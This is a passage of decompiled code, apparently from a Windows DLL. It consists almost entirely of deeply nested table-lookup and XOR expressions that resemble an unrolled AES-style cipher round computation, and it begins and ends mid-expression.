& 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t123 >> 0x18) * 4) ^  *(0x10023020 + (_t123 & 0x000000ff) * 4) ^  *_t251) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t123 >> 0x18) * 4) ^  *(0x10023020 + (_t123 & 0x000000ff) * 4) ^  *_t251) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t230 >> 0x18) * 4) ^  *(0x10023020 + (_t230 & 0x000000ff) * 4) ^  *_t252;
						_t253 = _t252 + _t242;
						_t239 =  *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t123 >> 0x18) * 4) ^  *(0x10023020 + (_t123 & 0x000000ff) * 4) ^  *_t251) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t123 >> 0x18) * 4) ^  *(0x10023020 + (_t123 & 0x000000ff) * 4) ^  *_t251) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t230 >> 0x18) * 4) ^  *(0x10023020 + (_t230 & 0x000000ff) * 4) ^  *_t252) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) 